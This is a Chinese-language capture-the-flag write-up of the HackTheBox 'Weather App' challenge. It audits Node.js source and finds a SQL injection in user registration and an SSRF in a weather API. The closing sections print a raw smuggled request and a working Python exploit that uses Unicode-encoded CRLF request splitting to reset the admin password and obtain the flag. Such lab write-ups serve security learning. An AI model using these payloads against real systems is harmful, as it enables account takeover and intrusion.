# 0x01 信息收集
下载他提供的文件,压缩包密码是 hackthebox
发现是一个 docker 文件
┌──(root💀kali)-[~/桌面/web_weather_app] | |
└─# ls -al | |
总用量 24 | |
drwxr-xr-x 4 root root 4096 1月 28 2021 . | |
drwxr-xr-x 3 root root 4096 4月 29 21:31 .. | |
-rwxr-xr-x 1 root root 107 1月 27 2021 build-docker.sh | |
drwxr-xr-x 6 root root 4096 1月 28 2021 challenge | |
drwxr-xr-x 2 root root 4096 1月 27 2021 config | |
-rw-r--r-- 1 root root 424 1月 28 2021 Dockerfile |
那么我们安装 docker
Debug
┌──(root💀kali)-[~/桌面/web_weather_app] | |
└─# ./build-docker.sh | |
Sending build context to Docker daemon 8.36MB | |
Step 1/9 : FROM node:8.12.0-alpine | |
---> df48b68da02a | |
Step 2/9 : RUN apk add --update --no-cache supervisor | |
---> Running in f1497f9d2076 | |
fetch http://dl-cdn.alpinelinux.org/alpine/v3.8/main/x86_64/APKINDEX.tar.gz | |
fetch http://dl-cdn.alpinelinux.org/alpine/v3.8/community/x86_64/APKINDEX.tar.gz | |
WARNING: Ignoring http://dl-cdn.alpinelinux.org/alpine/v3.8/main/x86_64/APKINDEX.tar.gz: temporary error (try again later) | |
WARNING: Ignoring http://dl-cdn.alpinelinux.org/alpine/v3.8/community/x86_64/APKINDEX.tar.gz: temporary error (try again later) | |
ERROR: unsatisfiable constraints: | |
supervisor (missing): | |
required by: world[supervisor] | |
The command '/bin/sh -c apk add --update --no-cache supervisor' returned a non-zero code: 1 | |
Unable to find image 'weather_app:latest' locally | |
docker: Error response from daemon: pull access denied for weather_app, repository does not exist or may require 'docker login': denied: requested access to the resource is denied. | |
See 'docker run --help'. |
可以看到报错了,这个错误的解决办法就是修改 Dockerfile
文件
在第二行添加这个: RUN echo -e [http://mirrors.ustc.edu.cn/alpine/v3.8/main/](http://mirrors.ustc.edu.cn/alpine/v3.8/main/) > /etc/apk/repositories
然后重启一下服务再运行就行了
运行
service restart docker | |
./build-docker.sh |
不过运行起来意义也不大 ==、
那么开始代码审计
# 0x02 代码审计
通过 routes\index.js
可以看出逻辑
register
router.post('/register', (req, res) => { | |
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') { // 这里 | |
return res.status(401).end(); | |
} | |
let { | |
username, password } = req.body; | |
if (username && password) { | |
return db.register(username, password) | |
.then(() => res.send(response('Successfully registered'))) | |
.catch(() => res.send(response('Something went wrong'))); | |
} | |
return res.send(response('Missing parameters')); | |
}); |
上面这个要求 remoteAddress
是 127.0.0.1
login
router.post('/login', (req, res) => { | |
let { | |
username, password } = req.body; | |
if (username && password) { | |
return db.isAdmin(username, password) // 这里可以看出来 | |
.then(admin => { | |
if (admin) return res.send(fs.readFileSync('/app/flag').toString()); | |
return res.send(response('You are not admin')); | |
}) | |
.catch(() => res.send(response('Something went wrong'))); | |
} | |
return re.send(response('Missing parameters')); | |
}); |
可以看出来登录 admin
就能得到 flag
再看看 database.js
async migrate() { | |
return this.db.exec(` | |
DROP TABLE IF EXISTS users; | |
CREATE TABLE IF NOT EXISTS users ( | |
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, | |
username VARCHAR(255) NOT NULL UNIQUE, | |
password VARCHAR(255) NOT NULL | |
); | |
INSERT INTO users (username, password) VALUES ('admin', '${ | |
crypto.randomBytes(32).toString('hex') }'); | |
`); | |
} |
密码是 32 字节的,爆破到猴年马月
再看看
async register(user, pass) { | |
// TODO: add parameterization and roll public | |
return new Promise(async (resolve, reject) => { | |
try { | |
let query = `INSERT INTO users (username, password) VALUES ('${ | |
user}', '${ | |
pass}')`; | |
resolve((await this.db.run(query))); | |
} catch(e) { | |
reject(e); | |
} | |
}); | |
} |
注册的时候会插入用户名和密码,但这个地方不够严谨,就有漏洞了
这个时候我们传入 user : admin pass: 1234’) ON CONFLICT(username) DO UPDATE SET password = ‘admin’;–
那么语句就会变成了
Bug
INSERT INTO users (username, password) VALUES ('admin', '1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';--') |
这样就修改了 admin
的密码了
那么我们就需要找一个接口进行提交了
api
router.post('/api/weather', (req, res) => { | |
let { endpoint, city, country } = req.body; | |
if (endpoint && city && country) { | |
return WeatherHelper.getWeather(res, endpoint, city, country); | |
} | |
return res.send(response('Missing parameters')); | |
}); |
上面这个可以把获取到的信息输出到 HTML 里,那么数据是如何获取的呢?
const HttpHelper = require('../helpers/HttpHelper'); | |
module.exports = { | |
async getWeather(res, endpoint, city, country) { | |
// *.openweathermap.org is out of scope | |
let apiKey = '10a62430af617a949055a46fa6dec32f'; | |
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); | |
...... | |
} | |
} |
这设置了访问的的参数,发现访问的地址是通过变量获得的,那么很有可能存在 SSRF
而使用的 HttpGet 只是一个很普通的 Get 函数而已,具体参数可以看下面的源码:
const http = require('http'); | |
module.exports = { | |
HttpGet(url) { | |
return new Promise((resolve, reject) => { | |
http.get(url, res => { | |
let body = ''; | |
res.on('data', chunk => body += chunk); | |
res.on('end', () => { | |
try { | |
resolve(JSON.parse(body)); | |
} catch(e) { | |
resolve(false); | |
} | |
}); | |
}).on('error', reject); | |
}); | |
} | |
} |
# 0x03 构造攻击
# Payload:
Payload
GET / HTTP/1.1 | |
Host: 127.0.0.1 | |
POST /register HTTP/1.1 | |
Host: 127.0.0.1 | |
Content-Type: application/x-www-form-urlencoded | |
Content-Length: 29 | |
username=admin&password=1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';-- | |
GET / HTTP/1.1 | |
Host: 127.0.0.1 |
# EXP
需要将空格编码为 \u0120 、 \r 编码为 \u010d 、 \n 编码为 \u010A 、其余字符进行 url 编码
Exp
import requests | |
url = "http://157.245.32.36:31006" | |
username = 'admin' | |
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--" | |
parseUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22") | |
parsePassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22") | |
contentLength = len(parseUsername) + len(parsePassword) + 19 | |
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHOST:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str(contentLength) + '\u010D\u010A\u010D\u010Ausername=' + parseUsername + '&password=' + parsePassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol=' | |
r = requests.post(url + '/api/weather', json={ | |
'endpoint': endpoint, 'city': 'chengdu', 'country': 'CN'}) | |
print(r) |
完成
┌──(root💀kali)-[~] | |
└─# python3 1.py | |
<Response [200]> |
Flag: HTB{w3lc0m3_t0_th3_p1p3_dr34m}